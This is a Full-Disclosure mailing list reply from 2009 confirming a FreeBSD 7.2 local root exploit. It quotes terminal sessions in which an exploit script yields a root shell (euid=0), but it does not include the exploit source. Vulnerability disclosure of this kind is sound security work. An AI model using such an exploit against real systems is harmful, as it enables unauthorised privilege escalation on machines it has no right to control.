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Re: ** FreeBSD local r00t zeroday
From: Cody Robertson <cody () hawkhost com>
Date: Mon, 30 Nov 2009 19:16:41 -0500

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On Nov 30, 2009, at 6:31 PM, phantomcircuit wrote:

Confirmed on 7.2-RELEASE-p4 fully patched according to freebsd-update.

%sh exploit.sh
Desktop env env.c exploit exploit.c exploit.sh payload.c payload.o
private program.c program.o public public_html run.sh w00t.so.1.0
FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in  
function
'malloc'
env.c:9: warning: incompatible implicit declaration of built-in  
function
'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in
function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# id
uid=1001(phantomcircuit) gid=20(staff) euid=0(root)
groups=20(staff),0(wheel)
# uname -a
FreeBSD phantomcircuit.mine.nu 7.2-RELEASE-p4 FreeBSD 7.2-RELEASE-p4  
#0:
Fri Oct  2 12:21:39 UTC 2009
root () i386-builder daemonology net:/usr/obj/usr/src/sys/GENERIC  i386
#

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7.2-RELEASE

[codyr () popo ~]$ ./env
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
#

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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